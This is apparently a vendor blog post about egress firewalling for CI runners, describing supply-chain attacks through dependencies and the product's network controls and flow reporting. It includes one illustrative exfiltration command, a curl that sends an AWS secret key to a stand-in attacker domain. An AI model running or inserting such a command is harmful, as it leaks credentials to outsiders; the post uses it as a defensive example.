Back to all blogs

Your CI is the new attack surface: lock down what it can reach

Many of the most valuable secrets in your company pass through CI. Cloud credentials, signing keys, registry tokens, deploy keys, source code for every repository you own, all of it shows up. The runner spends much of its lifetime executing third-party dependency code you didn't write and can't fully audit.

Hannu Valtonen
02 July 2026
Your CI is the new attack surface: lock down what it can reach

The threat moved into your dependency tree

The last two years have made one thing clear: the easiest way into a company is no longer the front door. It's a package. A compromised npm postinstall script. A typo-squatted PyPI wheel. A maintainer account phished, a popular library backdoored, a malicious update shipped to everyone who runs npm install before the next coffee. By the time the advisory lands, the package has already run with full network access on thousands of CI runners.

Once attacker-controlled code is executing in your build, it has everything it needs except for a way to get the loot out. Stolen credentials and source code are worthless to an attacker sitting inside your runner. The exfiltration step is where the attack either succeeds or fails: the curl to a pastebin, the DNS tunnel to an attacker-controlled domain, the POST to a webhook.

Decide what your build is allowed to talk to

With Avrea you define, per repository (and per organization), exactly which destinations a runner is allowed to reach: by CIDR, by fully-qualified domain (wildcards included, e.g. *.actions.githubusercontent.com), and down to protocol and port. You choose the posture that fits the repo: allow-by-default with a few known-bad destinations denied, or for anything sensitive deny-by-default, where the build reaches your package registry, your artifact store, and nothing beyond the destinations you allow.

Two properties make this worth trusting rather than a checkbox:

  • It's enforced on both the IP plane and the DNS plane. Rules are applied with nftables on Linux and pf on macOS, and through Avrea's own DNS resolver. A malicious package can't slip out by resolving an attacker domain to a fresh IP, and it can't tunnel data over DNS to an endpoint you never allowed. Blocked traffic is dropped, not quietly allowed to succeed: the connection simply fails.
  • The guardrails can't be disabled from inside the build. Even a policy that ends in ALLOW * can't reach the cloud metadata service (a favourite credential-theft target), can't talk to other VMs, and can't open an SMTP connection to spam or exfiltrate. Those safety rules sit underneath your policy and aren't bypassable by anything running in the job, including code that's actively trying.

So when a backdoored dependency runs:

curl https://evil.example/$AWS_SECRET_ACCESS_KEY

it doesn't get a slow timeout it can retry around. It gets nothing. The credential never leaves the building.

See exactly where every build connected

A firewall you can't observe is a firewall you can't trust. So Avrea captures network statistics for every run and turns them into a per-run summary you can actually read.

For each VM that ran your build, you get:

  • Top egress destinations, with IPs enriched back into the domains they belong to, and the bytes sent to each.
  • Total egress and flow counts, and protocol breakdown, so an unusual spike in outbound bytes is something you can see.
  • Blocked by firewall (IP): every destination your policy denied, with the rule that denied it and how many packets it stopped.
  • Denied DNS lookups (NXDOMAIN): every domain a build tried to resolve and wasn't allowed to. This is your early-warning system: a build suddenly asking for a domain nobody recognizes is exactly the signal you want surfaced.

The flow summaries are available in the jobs view on the console. You no longer have to take "the build only talks to the registry" on faith; you can just open last night's run and check.

This also turns out to be the easiest way to write a tight policy. Run in allow-by-default first, watch where your builds actually connect for a week, then ratchet down to deny-by-default with the real destination list in hand. No guessing, no broken builds.

One layer of defence, not the whole wall

We want to be clear about what this is: the egress firewall is one layer in a defence-in-depth setup, not a silver bullet. It sits alongside per-repository cache isolation, encrypted-in-transit and at-rest cache data, OAuth-only access with no stored passwords, hosts continuously scanned against hardening controls, and the ISO 27001:2022 and SOC 2 Type 2 work underneath all of it.

No single control can stop every attack. The point of defence in depth is that you assume any one layer can fail and make sure the next one is still standing. Dependency scanning might miss a zero-day package. A reviewer might wave through a poisoned update. A secret might end up somewhere it shouldn't.

Egress control is the layer that assumes the code in your build has already gone bad but tackles the problem with the idea to block it from actually exfiltrating anything.

See the Security page for the full picture of how Avrea protects your builds, or reach us at security@avrea.com.